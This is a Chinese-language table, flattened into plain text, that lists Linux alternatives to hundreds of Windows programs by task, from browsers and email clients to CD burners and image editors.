数百种Windows软件的替代品列表

程序所执行任务的描述 Windows Linux
1) 网络连接
网页浏览器 微软 IE,网景 Netscape / Mozilla, Opera [私有],Firebird,…… 1) Netscape/ Mozilla
2) Galeon.
3) Konqueror.
4) Opera.[私有]
5) Firebird.
6) Nautilus
7) Epiphany
8) Links.(用 “-g”开关)
9) Dillo(俄语补丁 – 在此
10) Encompass
字符终端上的网页浏览器 1) Links
2) Lynx
3) Xemacs + w3.
1) Links
2) ELinks
3) Lynx
4) w3m
5) Xemacs + w3
Email 客户端 Outlook Express, Netscape / Mozilla , The Bat,Eudora, Becky, Datula, Sylpheed/ Sylpheed-claws,Opera 1) Evolution
2) Netscape / Mozilla 传呼
3) Sylpheed / Sylpheed-claws.
4) Kmail.
5) Gnus.
6) Balsa
7) Bynari Insight GroupWare Suite[私有]
8) Arrow.
9) Gnumail.
10) Althea.
11) Liamail.
12) Aethera.
13) MailWarrior.
14) Opera.
Email 客户端 / 微软 Outlook 风格的个人信息管理器 Outlook 1) Evolution
2) Bynari Insight GroupWare Suite.[私有]
3) Aethera.
4) Sylpheed.
5) Sylpheed-claws
Email 客户端(The Bat 风格) The Bat 1) Sylpheed.
2) Sylpheed-claws.
3) Kmail.
4) Gnus.
5) Balsa
字符终端上的 Email 客户端 Mutt [de],Pine, Pegasus, Emacs 1) Pine[非免费]
2) Mutt
3) Gnus.
4) Elm
5) Emacs
新闻阅读器 1) Agent[私有]
2) Free Agent
3) Xnews
4) Outlook
5) Netscape / Mozilla
6) Opera [私有]
7) Sylpheed / Sylpheed-claws
8) Dialog
9) Gravity
1) Knode.
2) Pan.
3) NewsReader
4) Netscape / Mozilla
5) Opera[私有]
6) Sylpheed / Sylpheed-claws.
――用于字符终端的有:
7) Pine. [非免费]
8) Mutt
9) Gnus
10) tin
11) slrn
12) Xemacs
地址簿 Outlook 1) Rubrica
文件下载工具 Flashget, Go!zilla, Reget, Getright, DAP, Wget, WackGet, MassDownloader, … 1) Downloader for X.
2) Caitoo(旧称 Kget)
3) Prozilla
4) Wget (用于字符终端,标准的)
5) Wget 图形用户界面:Kmago, Gnome Transfer Manager, QTget, Xget, …
6) Aria.
7) Axel
8) Download Accelerator Plus.
9) GetLeft
10) Lftp
网站下载工具 Teleport Pro, Httrack,Wget,… 1) Httrack.
2) WWW Offline Explorer.
3) Wget(用于字符终端,标准的),图形用户界面的有: Kmago, QTget, Xget, …
4) Downloader for X.
5) Pavuk.
6) XSiteCopy.
7) GetLeft
8) Curl(用于字符终端)
9) Khttrack
FTP 客户程序 Bullet Proof FTP, CuteFTP, WSFTP, SmartFTP, … 1) Gftp.
2) Konqueror.
3) KBear.
4) IglooFTP[私有]
5) Nftp
6) Wxftp
7) AxyFTP
8) mc(cd ftp://…)
9) tkFTP
10) Yafc
11) Dpsftp.(dead project)
字符终端上的 FTP 客户程序 FTP in Far, ftp.exe, Ncftp 1) Ncftp.
2) Lftp.
3) Avfs.(从任意程序可用:/#ftp:… 访问站点资源)
IRC 客户端 Mirc, Klient, VIRC, Xircon, Pirch, XChat 1) Xchat.
2) KVirc.
3) Irssi
4) BitchX.
5) Ksirc.
6) Epic
7) Sirc
8) PJIRC.
不用服务器的局域网聊天客户程序 1) QuickChat
2) Akeni
3) PonyChat
4) iChat
1) talk(用于字符终端),ktalk
2) Akeni
3) Echat
4) write, wall(同一台机器的用户之间进行聊天)
用 Windows 机器在局域网进行传呼 WinPopUp smbclient(用于字符终端),图形用户界面的有:
1) LinPopUp 2
2) Kpopup
3) Kopete
即时传呼客户程序 ICQ Lite, ICQ Corp, MSN, AIM, Yahoo,…
Trillian ICQ(自由软件,可以替代所有通常的即时传呼客户程序),Miranda, Gaim
1) Licq (ICQ)
2) Centericq(包括近乎所有的即时传呼协议,用于字符终端)
3) Alicq (ICQ).
4) Micq (ICQ).
5) GnomeICU (ICQ).
6) Gaim.(包括近乎所有的即时传呼协议)
7) Ayttm.(包括近乎所有的即时传呼协议)
8) Kopete
9) Everybuddy
10) Simple Instant Messenger.
11) ImiciMessenger
12) Ickle (ICQ).
13) aMSN (MSN).
14) Kmerlin (MSN).
15) Kicq (ICQ).
16) YSM(ICQ,用于字符终端)
17) kxicq.
18) 雅虎寻呼 Unix 版
19) Kmess (MSN).
20) AIM
21) MSNre(用于字符终端)
Jabber 即时传呼客户程序 JAJC,Tkabber(+activestate tcl), Psi,Exodus, WinJab, myJabber, RhymBox,Rival, Skabber, TipicIM, Vista, Yabber, Miranda, Gaim, Akeni 寻呼 Jabber 版 1) Tkabber
2) Gabber
3) Psi
4) Gaim
5) Centericq(用于字符终端)
6) Ayttm.
7) Akeni 寻呼 Jabber 版
监控网站和邮箱、显示新闻主题或整篇文章的工具 WatzNew 1) Web Secretary
2) Knewsticker& korn.
3) Mozilla (???).
4) watch -n seconds lynx -dump
视频、音频会议 NetMeeting 1) GnomeMeeting
2) vat/vic/wb
3) rat/wbd/nte
4) NeVoT
5) IVS
语音通讯(声讯、通话工具) Speak Freely 1) Speak Freely for Unix
2) TeamSpeak
防火墙(包过滤工具) BlackICE, ATGuard, ZoneAlarm, Agnitum OutpostFirewall, WinRoute Pro, NortonInternet Security, Sygate PersonalFirewall PRO,Kerio Personal Firewall, … iptables 或比较过时的 ipchains (用于字符终端,标准的)。前端程序有:
1) Kmyfirewall.
2) Easy Firewall Generator
3) Firewall Builder
4) Shorewall
5) Guarddog
6) FireStarter
7) Smoothwall[私有]
8) IPCop.
9) Zorp.
IDS(入侵检测系统) 1) BlackICE
2) Agnitum Outpost Firewall
3) Tripwire [私有]
4) Kerio Personal Firewall
1) Snort
2) Portsentry / Hostsentry /Logsentry
3) Tripwire [GPL].
4) Tripwall.
5) AIDE.
6) ViperDB.
7) Integrit.
8) CerberusIntrusion Detection System
9) MIDASNMS
端口扫描探测工具 ??? 1) Pkdump
更加安全地制作系统的工具 ??? 1) Bastille
2) Linux Security Auditing Tool
可视化路由(Visual route) VisualRoute [私有] 1) Xtraceroute.
2) VisualRoute.[私有]
3) Mtr.
4) Geotrace.
信文(广告、弹出窗口)过滤工具 Proxomitron, ATGuard, Agnitum Outpost Firewall, Privoxy, MS ISA server, Guidescope, … 1) DansGuardian.
2) Squid.
3) Squidguard
4) Privoxy
5) JunkBuster
6) Zorp.
7) Fork
8) Redirector
网络流量调整、控制工具 WinRoute Pro,… 1) IPRelay
2) CBQ (来自 iproute2 软件包)
3) tc (来自 iproute2 软件包)
4) LARTC
网络流量结算工具 Netstat, Tmeter,… 1) Tcp4me
2) Getstatd
3) Ipacct
4) Ipac-ng
5) Ipaudit
6) Lanbilling
7) SARG (fullSquid traffic).
8) Talinux
9) NetUP UserTrafManager.
10) MRTG
11) NetTop
对等网络客户机/服务器、文件共享工具(p2p) Morpheus (Gnutella), WinMX, Napster, KaZaA(Fasttrack), eDonkey [私有], eMule, TheCircle, Bittorrent, SoulSeek, Direct Connect 1) Mldonkey(eDonkey, Soulseek, Fasttrack, Gnutella, Open Napster, Direct Connect, BitTorrent)
2) LimeWire. (Gnutella)
3) Lopster. (OpenNAP)
4) Gnapster.(OpenNAP)
5) eDonkey.(eDonkey) [私有]
6) cDonkey. (eDonkey)
7) Gift client / server / fasttrackplugin (Fasttrack)
8) ed2k_gui.
9) Gtk-Gnutella.(Gnutella)
10) Qtella. (Gnutella)
11) Mutella. (Gnutella,console)
12) TheCircle
13) Freenet(完全匿名的 p2p)
14) GNUnet
15) Lmule. (eDonkey)
16) Xmule. (eDonkey)
17) Bittorrent.
18) PySoulSeek(Soulseek).
19) Loophole. (WinMX)[私有]
20) Direct Connect(直接连接)
21) QuickDC(快速直接连接)
22) OverNet
23) Apollon
24) GrapeWine(完全匿名的 p2p)
25) Snark.(Bittorrent)
"Hotline" p2p 协议客户机/服务器工具 ??? 客户程序:
1) Gtkhx
2) Fidelio
3) GHX[私有]
服务器程序:
1) Synapse
2) HSX
与具有很多功能的语音调制解调器一起工作的程序,这些功能包括从应答机(answerback)和AON 到传真设备等一系列功能 Venta Fax, PrimaFax 1) Gfax.(???)
2) PrimaFax.[私有] 99$]
3) mgetty + voice + sendfax.
4) vgetty.
收发传真 WinFax 1) HylaFax
2) Fax2Send. [私有]
3) Efax
4) VSI-FAX.[私有]
拨号上网 Vdialer, etc 1) Kppp
2) X-isp
3) wvdial(前端:X-wvdial,kvdial, gtkdial)
4) Gppp
5) Kinternet.
6) Rp3.
7) pppconfig + pon + poff.
8) Modem Lights.
9) Netcount(用于字符终端)
FTN 编辑器 Golded 1) Golded.
2) Golded+.
3) Msged
4) Qded
FTN tosser(投手) FastEcho, hpt 1) hpt.
2) CrashEcho.
3) Qecho
4) CrashMailII
5) Fidogate – gate to news.
6) ifmail – gate tonews.
FTN mailer(邮寄者) SF-Mail, T-Mail 1) ifcico.
2) qico.
3) Bforce
4) Binkd
远程管理软件 1) VNC,(VirtualNetwork Computing,似乎应当是虚拟网络控制台Console)
2) Remote Administrator (Radmin)[私有]
3) Remote Assistance [私有]
4) Symantec pcAnywhere [私有]
5) Windows 终端服务器[私有]
6) Rdesktop [私有]
7)Radmin [私有]
8) PC-Duo [私有]
9) Huey PC Remote Control(只有Windows NT 版的) [私有]
10) Timbuktu Pro [私有]
11) LapLink [私有]
12) GoToMyPC [私有]
13) Bo2k and other trojans
1) VNC,虚拟网络控制台
2) ssh
3) 远程管理嵌于XFree86内部
4) 远程管理嵌于KDE3.1内部(“桌面共享”)
5) Rdesktop Client
6) rsh / rlogin.
7) telnet.
8) Gtelnet.
9) x0rfbserver
10) KDE 通用远程桌面.
用调制解调器传输文件 HyperTerminal, Terminate, etc 1) Minicom + lrzcz + Kermit.
2) Msterm.
3) Xtel
4) uucp.
5) lrzsz + cufrom uucp.
安全Shell登录(ssh) Putty, Irlex, cygwin + ssh 1) Kssh.
2) ssh / openssh
3) GTelnet.(Telnet, SSH, Rlogin)
网络监控工具 Dumeter, Netmedic 1) Gkrellm
2) Big Brother
3) Etherape
4) Nagios
5) Tkined
6) MRTG
7) Rrdtool.
8) PIKT
9) Autostatus
10) bcnu
11) mon
12) Sysmon
13) Spong
14) SNIPS
15) iptraf(用于字符终端)
16) Ksysguard.
17) OpenNMS
18) tcpdump.
网络维护工具 HP OpenView, MS SMS, Tivoli 1) HP OpenView agents[私有]
2) Big Brother
3) Cheops
4) Tkined
5) OpenNMS
网络协议分析、嗅探工具 Sniffer Pro,EtherPeek (TokenPeek, AiroPeek), Windump,Ethereal, MSNetwork Monitor, Iris, LanExplorer, NetSniffer,Snort, … 1) Ethereal
2) Tcpdump
3) Etherape
4) Ntop
5) ipxdump. (+ipxparse for parsing)
6) Snort.
安全性扫描器 ShadowScan, ISS, Retina, Internet Scanner 1) Nessus
2) Nmap
路由选择 MS RRAS 1) iproute2 + iptables.
2) GateD.[私有]
3) GNU Zebra
以太网、IP 测试用工具和库 lcrzo lcrzo
IP 电话 Buddyphone [私有], Cisco SoftPhone 1) GNU Bayonne
2) Openh323
3) OpenPhone
4) tkPhone
5) NauPhone
数据、文件共享工具 Windows 共享 1) NFS.
2) Samba
3) Samba-TNG
4) FTP.
??? Windows 域,活动目录 1) Samba.
2) Ldap
3) yp
察看 Windows 网络的工具 网络邻居 1) Samba
2) KDE Lan Browser, lisa
3) LinNeighborhood.
4) xSMBrowser
5) Komba2
6) Konqueror.
ADSL 1) RASPPPOE 1) rp-pppoe
2) Pptp client
分布式计算 Allprojects
1) United Devices
2) http://setiathome.ssl.berkeley.edu/
3) http://folding.stanford.edu/
4) http://genomeathome.stanford.edu/.
Allprojects
1) Distributed.net
2) http://setiathome.ssl.berkeley.edu/
3) http://folding.stanford.edu/
4) http://genomeathome.stanford.edu/
5) D2ol
* 有些 Linux 下的程序版本只运行于字符终端模式
IPSEC 协议 FreeSWAN
VRML 察看器和编辑器 ??? 1) WhiteDune
使用 Ebay ??? 1) Bidwatcher
2) 处理文件
FAR 和 NC 风格的文件管理器 FAR, Norton Commander, Disco Commander, VolcovCommander,etc 1) MidnightCommander.
2) X Northern Captain.
3) Deco (Demos Commander)
4) Portos Commander
5) Konqueror in MC style
6) Gentoo.
7) VFU
8) Ytree
Windows Commander 风格的文件管理器 Total Commander (旧称 Windows Commander) 1) Krusader.
2) Kcommander.
3) FileRunner (TCL/TK).
4) LinuxCommander
5) LinCommander.
6) Rox, Rox-Filer
7) Emelfm
8) Midnight Commander.
9) Worker
Windows 风格的文件管理器 Windows 资源管理器 / Internet Explorer 1) Konqueror.
2) Gnome-Commander.
3) Nautilus
4) Endeavour Mark II
5) XWC
可视化 Shell ??? 1) vshnu: the NewVisual Shell.
本地 HTML 文档轻快浏览工具 1) Internet Explorer
2) Microsoft Document Explorer
1) Dillo(俄语补丁——在此
2) Konqueror.
3) Nautilus
4) Lynx / Links
察看文件的全部行为 Filemon Filemon
处理 UDF Roxio(旧称 Adaptec)UDF Reader, Roxio Direct CD Linux-UDF.
处理多段(multi session)CD,以及从有故障的多段光盘上恢复信息 IsoBuster CDFS
处理压缩文件 1) WinZip
2) WinRar
3) 7-Zip
4) WinACE
5) UltimateZip
1) Ark (kdeutils).
2) Gnozip.
3) KArchiveur
4) Gnochive
5) FileRoller
6) Unace
7) LinZip.
8) TkZip.
字符终端上的归档器(Console archivers) arj, rar, zip, tar, gzip, bzip2, lha… 1) tar, gzip, bzip2.
2) Unarc
3) Lha.(日语网页)
4) Infozip
5) Arj
6) Avfs.(支持从任意程序中使用任意档案—— file.zip#/…).
7) Zoo.
8) RAR
9) CAB Extract
用于文件和目录比较的程序 1) BeyondCompare
2) Araxis Merge.
3) Minimalist GNU For Windows(diff.exe)
4) Unison
1) WinMerge
2) Mgdiff.
3) diff, patch.
4) Xemacs
5) Xdelta.(为二进制文件制作补丁)
6) Meld
7) Xxdiff
8) Unison.
3) 桌面、系统软件
文本编辑器 Notepad, WordPad, TextPad, Vim, Xemacs,… 1) Kedit (KDE).
2) Gedit (Gnome).
3) Gnotepad
4) Kate (KDE).
5) KWrite (KDE).
6) Nedit.
7) Vim
8) Xemacs
9) Xcoral
10) Nvi
11) Ozeditor.
字符终端上的文本编辑器 1) Vim
2) Emacs
3) Editor from FAR, editor from DN, …
1) Vim
2) Emacs
3) Nano.(这是 pico 的一种免费实现)
4) joe.
5) Fte.
6) Jed.
7) CoolEdit.
多重用途的文本(及源代码)编辑器 SciTE,UltraEdit,MultiEdit, Vim, Xemacs, … 1) Kate(KDE自带的工具)
2) Nedit.
3) CodeCommander
4) SciTE
5) Quanta Plus
6) Vim
7) Xemacs
8) Mcedit(随 mc 一起发布)
9) Jed.
10) Setedit(貌似 TurboVision 风格)
11) HTeditor.
支持西里尔语编码的文本编辑器 Bred, Rpad32, Aditor, Vim, Xemacs 1) Kate(KDE自带的工具)
2) Nedit.
3) Fte(用于字符终端)
4) 打过补丁的 Midnight Commander 版本
5) Vim
6) Xemacs.
察看 PostScript 文件 1) RoPS
2) GhostView
1) GhostView
2) Kghostview.
3) GV
4) GGV
察看 PDF 文件 1) Adobe Acrobat Distiller
2) GhostView
1) Acrobat Reader. [私有]
2) Xpdf
3) GV
4) GGV
5) GhostView
6) Kghostview.
创建 PDF 文件 1) Adobe Acrobat Distiller
2) GhostView
3) Ghostscript
1) 任意 Linux“所见即所得”程序 -> 打印到文件 ->ps2pdf.(这里有一篇相关的文章
2) AdobeAcrobat Distiller. [私有]
3) PStill[共享软件]
4) PDFLatex.
5) Xfig.
6) Ghostscript
7) Tex2Pdf.
8) Reportlab
9) GV
10) GGV
11) GhostView
12) Kghostview.
13) Panda PDF Generator
加密技术(Crypto) PGP, GnuPG + Windows Privacy Tools 1) GnuPG(用于字符终端)+ GPA,KGpg,以及其它 前端软件
2) PGP. [私有]
加密整个磁盘卷 EFS(标准的) PGP-Disk, BestCrypt, Private Disk Light 1) Loop-aes
2) CFS
3) TCFS.
4) BestCrypt.
5) CryptFS.
任务调度(日程安排)程序 mstask, nnCron cron, at(标准的,用于字符终端)。图形用户界面的有:Kcron
Outlook 日程安排 Outlook scheduler 1) KOrganizer.
虚拟光驱(Virtual CD) VirtualDrive, VirtualCD, Daemon Tools, … 1) 虚拟光驱内核模块
2) “cp /dev/cdrom mycd.iso”+“mount -o loop mycd.iso /mnt/cdrom/”
文本识别(OCR) Recognita, FineReader 1) ClaraOcr.
2) Gocr.
3) Kooka
翻译软件(西里尔语) Promt, Socrat Ksocrat(???)
英俄词典(西里尔语) 1) ABBYY Lingvo
2) Socrat
3) JaLingvo
4) phpMyLingvo
1) Mueller.
2) Ksocrat.
3) JaLingvo
4) phpMyLingvo
5) dict+Kdict.
6) DictX
7) Groan.
8) Mova.
9) Slowo.
10) Stardict
处理扫描仪 扫描仪所附带光盘上的程序,VueScan 1) Xsane.
2) Kooka
3) Xvscan[私有]
4) VueScan[私有]
反病毒 AVG AntiVirus, NAV, Dr. Web, TrendMicro, F-Prot, Kaspersky, … 1) Dr. Web[私有]
2) Trend ServerProtect[私有]
3) RAV Antivirus[私有] (Bought byMicrosoft?)
4) OpenAntivirus + AMaViS/ VirusHammer
5) F-Prot[私有]
6) Sophie / Trophie
7) Clam Antivirus
8) Kaspersky[私有]
9) YAVR
系统配置 控制面板,微软配置程序,注册表编辑器,WinBoost, TweakXP, CustomizerXP, X-Setup, PowerToys, Config NT, … 1) setup (Red Hat).
2) chkconfig (Red Hat).
3) redhat-config- (Red Hat 8.0).
4) xf86config, xf86cfg.
5) Linuxconf.
6) Drakeconf.
7) Webmin.
8) yast and yast2 (SuSE).
9) sysinstall (FreeBSD).
10) /dev/hands :).
引导启动管理器 System Commander, PowerQuest Boot Magic, GAG, … 1) Grub
2) Lilo.
3) ASPLoader.
4) Acronis OS Selector [私有].
5) RanishPartition Manager.
6) osbs.
7) Symon.
8) SmartBoot Manager.
9) Xosl
10) GAG
硬盘分区管理器 1) PowerQuest Partition Magic[私有]
2) Acronis PartitionExpert [私有]
3) ParagonPartition Manager [私有]
4) PartitionCommander [私有]
1) PartGUI(partimage 和 parted 的图形用户界面)
2) GNU Parted.(GUI – QTParted).
3) Partition Image
4) fips.
5) Diskdrake(Mandrake).
6) ParagonPartition Manager [私有].
7) Acronis PartitionExpert [私有].(review)
LVM + soft-RAID + parted + … EVMS.
备份软件 ntbackup (标准的), Legato Networker [私有] 1) Legato Networker.[私有]
2) Lonetar. [私有]
3) Disk Archive
4) Bacula
5) Taper
6) dump / restore.(标准的,用于字符终端)
7) Amanda(用于字符终端)
8) Mondo Rescue.(备份能引导并自动把自己恢复到硬盘上)
制作磁盘分区的映象 1) DriveImage
2) Ghostpe
1) PartitionImage(GUI – PartGUI).
2) dd(标准的,用于字符终端)
3) Mondo Rescue
跨网络镜像机器 1) ImageCast
2) Norton Ghost
1) UDP Cast
2) Techteam‘s UDP CastDisks.
3) Ghost for Unix (g4u).
任务管理器 TaskMan(标准的),TaskInfo, ProcessExplorer NT. 1) top(标准的,用于字符终端)
2) Gtop, Ktop.
3) Ksysguard.
4) “ps aux | more”,“kill”
打字时自动在英语和俄语之间切换 Punto Switcher,KeyboardNinja, Snoop 没有对应的类似物 🙁
鼠标光标形状图案(Mouse gestures) Sensiva 1) Kgesture.
2) wayV
3) Optimoz
TV 程序 ??? HomePortal.
文本朗读 MS text to speech 1) KDE 语音插件
2) Festival
3) Emacspeak
4) VoiceText
语音识别 ViaVoice, Dragon Naturally Speaking 是的,没有能用的语音识别软件包,但是:
1) Sphinx
2) ViaVoice.(处于几近荒废状态)
处理文本流 1) Minimalist GNU For Windows (sed.exe)
2) perl
1) sed, awk.
2) perl
PIM(个人信息管理)/ DB(每日公报)/ hierarchical notebook with tree view(树形视图层次结构笔记本) TreePad[私有], Leo, CueCards 1) TreePad Lite. [私有]
2) Yank
3) TreeLine
4) Gjots
5) Leo
6) Hnb – hierarchical notebook
7) TuxCards
在不同的分辨率和刷新率之间快速切换的程序 集成在系统中,来源于视频显示卡光盘(上的驱动程序) 1) Multires
2) Ctrl+Alt+"-", Ctrl+Alt+"+".
3) Fbset. (当使用framebuffer 时)
在文件中查找和替换文本 1) 集成在操作系统之中
2) Indexing service(索引服务)
3) HTMLChanger
4) 任何一个文件管理器
1) find(标准的,用于字符终端)
2) slocate(标准的,用于字符终端)
图形用户界面:
1) Gsearchtool.
2) Kfind.
3) 任何一个文件管理器
本机SGBD索引搜索引擎 1) Indexing service (???)
2) mnoGoSearch[在 Windows 上是专利软件]
1) mnoGoSearch
2) ASPSeek.
系统监视 系统监视器(系统内置) 1) top(标准的,用于字符终端)
2) Gkrellm
3) Ksysguard.
4) Survivor
5) "Hot-babe". (假如裸体都不能打动你,那你不要用:)
日志察看程序 事件观察器(系统内置) 1) Xlogmaster
2) Analog
3) Fwlogview.(firewall)
数据恢复工具 R-Studio(支持 Linux 分区) 1) e2undel
2) myrescue
3) TestDisk
4) unrm
5) Channel 16
能自动探测字符集的文本文件编码器 ??? 1) Enca.
2) Jconv
3) Xcode. (西里尔语)
4) Asrecod.(西里尔语)
闹钟 MindIt! 1) KAlarm.
使用 Palm Palm Desktop 1) Kpilot
2) Jpilot
允许处理 Palm .html 文件 iSilo 1) iSilo.
2) Plucker
低级优化
(芯片组,PCI 总线)
Powertweak 1) Powertweak-Linux.
经典著述 On-Line Bible, The SWORD 1) BibleTime(KDE)
2)Gnomesword (Gnome)
便捷的鼠标滚动 Mouse Imp ???
自动改变桌面背景 ??? 1) Background Buddy
方便切换键盘的语言 ??? 1) GSwitchIt.
Windows 注册表编辑器 RegEdit Kregedit:).
4.1) 多媒体(音频、CD)
有用的链接: Linux MIDI& Sound Applications——有很多链接和资源。
Sound Software– lots of it.
音乐、mp3、ogg 播放器 1) Winamp
2) Zinf
3) SnackAmp
4) Soritong
5) Apollo
6) K-jofol 2000
7) Sonique
8) C-4
9) Media Box Audio / Video Workstation 5
10) Blaze Media Pro
11) NEX 3
12) Real Jukebox
13) Windows 媒体播放器
1) XMMS(X 多媒体系统)
2) Noatun.
3) Zinf. (former Freeamp)
4) Winamp
5) Xamp.
6) GQmpeg
7) SnackAmp
8) Mplayer. (Frontend: Kplayer).
9) Xine. (Frontends: Sinek, Totem)
字符终端上的音乐、MP3、ogg 播放器 mpg123, dosamp, Mplayer 1) Cplayer.
2) mpg123
3) ogg123
4) mpg321
5)Orpheus
6) Mp3blaster
7) Madplay
8) xmms 的字符终端工具
9) Mplayer.
图形用户界面的 CD 烧录程序 Nero, Roxio Easy CD Creator, … 1) K3b.(KDE)
2) XCDRoast
3) KOnCd.
4) Eclipt Roaster
5) Gnome Toaster
6) CD Bake Oven.
7) KreateCD.
8) SimpleCDR-X
9) GCombust
10) WebCDWriter.(CD 烧录服务器,可从任何一款具有 Java 支持的远程浏览器访问)
11) CDR Toaster.
12) Arson.
13) CD-Me(可创建音频 CD)
CD 播放器 CD player, Winamp, Windows Media Player, … 1) KsCD
2) Gtcd (Gnome) + tcd (用于字符终端)
3) Orpheus.(用于字符终端)
4) Sadp
5) WorkMan
6) Xmcd
7) Grip
8) XPlayCD.
9) ccd / cccd(用于字符终端)
10) cdp(用于字符终端)
11) BeboCD
减缓 CD 转速的程序 Slowcd, Cdslow 1) mount -o speed=
2) hdparm -E
3) eject -x
4) cdspeed.
CD ripping / grabbing(CD 抓轨、剽窃工具) 1) Cdex
2) MusicMatch
3) StreamboxRipper
4) Audiocatalyst
5) WinDac
6) Audiograbber
7) Media Box Audio / VideoWorkstation
8) CD-Copy
9) Blaze Media Pro
10) Real Jukebox
11) Windows 媒体播放器
12) Nero
13) VirtualDrive
14) VirtualCD
15) Audacity
1) Grip.
2) Audacity
3) RipperX.
4) tkcOggRipper.
5) A Better CD Encoder.
6) cdda2wav
7) Gnome Toaster.
8) Cdparanoia.
9) Cd2mp3.
10) Dagrab.
11) SimpleCDR-X
12) RatRip
13) AutoRip.
14) SoundJuicer
CD 音轨播放器 Winamp, Windows Media Player, … 1) xmms + MikMod-plugin.随 xmms 一起发布
2) xmms + xmp-plugin. 用 xmp播放
3) MikMod.(用于字符终端)
4) xmp。能用 Midi 设备播放 CD 音轨
5) TiMidity++.只有模块文件(Only mod files)
Midi 播放器 Winamp, Windows 媒体播放器,…… 1) xmms + midi-plugin(用TiMidity 播放)
2) xmms +awemidi-plugin.(用 drvmidi 播放)
3) xmms +playmidi-plugin(用 playmidi 播放)
4) TiMidity++.Supports gus pathes and sf2 banks, backend to another software.
4) timidity-eawpatches.Gus-patches for TiMidity++.
5) Kmid
6) drvmidi/ awemidi.
7) pmidi(用于字符终端,for ALSA)
8) playmidi.
9) atmidi.
Midi + 卡拉 OK 播放器 VanBasco 1) Kmid
2) Gkaraoke.
3) TiMidity++
Mp3 编码器 1) Lame
2) Cdex
3) MusicMatch
4) StreamboxRipper
5) Audiocatalyst
6) Blaze Media Pro
7) Media Box Audio / VideoWorkstation
8) AudioSlimmer
9) Real Jukebox
1) Lame
2) Bladeenc.
3) NotLame
4) L3enc. [私有]
5) gogo.
OGG 编码器 oggenc oggenc.
使用实时播放协议 1) RealPlayer.[私有]
2) Mplayer + libraries.
1) RealPlayer.[私有]
2) Mplayer + 库.
3) ReMedial
广播 VC Radio, FMRadio, Digband Radio 1) xradio
2) cRadio
3) Xmradio.
4) RDJ.
5) RadioActive.
6) XMMS-FMRadio
7) Gqradio.
8) Qtradio
音频编辑器 SoundForge, Cooledit, Audacity, … 1) Glame
2) Rezound.
3) Sweep
4) WaveForge
5) Sox.
6) Audacity
7) GNUSound
8) Ecasound.
9) SoundStudio.
10) mhWaveEdit
多轨音频处理器 Cubase 1) Ecasound.
2) Ardour.
Sound tracker(声音追踪者,声音制轨) Fasttracker, ImpulseTracker 1) Soundtracker
2) Insotracker
3) CheeseTracker
Sound mixer(声频混合器,音量调节器) sndvol32 1) Opmixer
2) aumix.
3) mix2000.
4) KMix.
5) Alsamixer
6) GMix
7) wmix(for WindowMaker)
8) Mixer_app (for WindowMaker)
9) Many applets for AfterStep / WindowMaker / FluxBox
Software for music notation(标注音符的软件) Finale,Sibelius,SmartScore 1) LilyPond.
2) Noteedit
3) MuX2d
Midi序列发生器(Midi-sequencer) Cakewalk 1) RoseGarden
2) Brahms
3) Anthem
4) Melys
5) MuSE
6) MidiMountain(KDE)
More infrormation: Midi-Howto
音乐创作 Cakewalk, FruityLoops 1) RoseGarden
2) Ardour
Synthesizer([电子]合成器) Virtual waves, Csound 1) Csound
2) FluidSynth
3) Arts Builder (???).
ID3-Tag 编辑器 Mp3tag 1) EasyTAG
2) Cantus
3) id3tool(用于字符终端)
4) id3ed(用于字符终端)
5) id3edit(用于字符终端)
吉他、仪器调节软件 1) In-TuneMulti-Instrument Tuner
2) Digital Guitar Tuner
???
将音频流录入 .MP3 文件 TwinsStream Ripper StreamRipper.
4.2) 多媒体(图形)
图形文件阅览器 1) ACDSee
2) IrfanView
3)Xnview
4) CompuPic[私有]
5) Windows Fax and Image viewer
5) Any web browser
1) Xnview.
2) GQview
3) Qiv
4) CompuPic [私有]
5) Kuickshow.
6) Kview.
7) GTKSee
8) xv. [私有]
9) pornview.
10) imgv
11) Gwenview.
12) Gliv
13) Showimg
14) Fbi.
15) Gthumb.
16) PixiePlus.
17) Electric Eyes (Gnome).
18) Eye of Gnome
19) GImageView
20) Hugues ImageViewer
21) 任何一款网页浏览器
在字符终端察看图形文件 QPEG 1) zgv.
2) aalib.
简单的图形编辑器 Paint 1) Kpaint
2) Tuxpaint.
3) Xpaint.
4) Gpaint
5) Killustrator
6) Graphtool
PhotoShop 风格的功能强大的图形编辑器 1) Adobe Photoshop [私有]
2) Gimp
3) Paint Shop Pro [私有]
4) Pixel32 [私有]
5) Corel PhotoPaint [私有]
6) Macromedia Fireworks
1) Gimp
2) ImageMagick
3) Pixel32. [私有]
4) CinePaint
5) RubyMagick
6) CorelPhotoPaint 9. [私有]
处理向量图形的程序 Adobe Illustrator, Corel Draw, Freehand,AutoSketch, OpenOffice Draw 1) Sodipodi.
2) xfig.
3) Sketch.
4) Karbon14 and Kontour.
5) OpenOffice Draw.
6) Dia.
7) Tgif.
8) Gestalter
9) ImPress
10) Tkpaint
11) Tgif
12) Corel Draw 9. [私有]
SVG 编辑器 WebDraw [私有] 1) Sodipodi.
2) Dia.
3) Sketch.
SVG 察看器 1) Squiggle
2) X-Smiles
3) Mozilla 中的 SVG 支持
1) Squiggle.
2) X-Smiles.
3) Mozilla 中的 SVG 支持
4) Konqueror 中的 SVG 支持.
文本粉饰程序(对文字进行艺术加工的程序) Wordart, OpenOffice Draw OpenOffice Draw
用 ASCII 字符绘图的程序 ANSI DRAW, Mazaika 1) CanvASCII
2) Jave
3) ANSI Draw.
4) EDASCII
转换伪图中的图形文件(Converting the graphic files in pseudographics) ??? aalib.
播放 Flash Flash Player 1) SWF Macromedia Flash Player
2) FlashPlayer[私有]
3) Netscape/Mozilla 插件(下载 herehere
创建 Flash Macromedia Flash 1) DrawSWF
2)Ming(从程序设计语言中创建 flash swf输出)
三维图像 3D Studio MAX, Maya[私有], Povray, … 1) Blender.
2) Maya[私有]
3) KPovModeler
4) K3Studio
5) Moonlight
6) GIG3DGO
7) Povray
8) MegaPov
9) K3D
10) Wings 3D
11) Softimage XSI[私有]
12) Kludge3d
制作照片质量的景物(基于 ArchiCAD 3D 模型) ArtLantis Render ???
图标编辑器 Microangelo 1) Gnome-iconedit.
2) Kiconedit.
制作屏幕截图的小程序 集成在操作系统中(打印屏幕),Snag it, … 1) Ksnapshot.
2) Xwpick.
3) Xwd, xgrabsc.
4) Motv (xawtv)
5) Streamer(视频)
6) 集成于窗口管理器(有各种热键)
绘制数据库结构图表 Access 1) Dia
2) 概念制作模型工具包.
用艺术剪辑软件,创建印制日历、贺卡(明信片)等 Broderbund Print Shop ???
从数字相机下载图片 Polaroid Drivers 1) Camera Tool (gtkam)
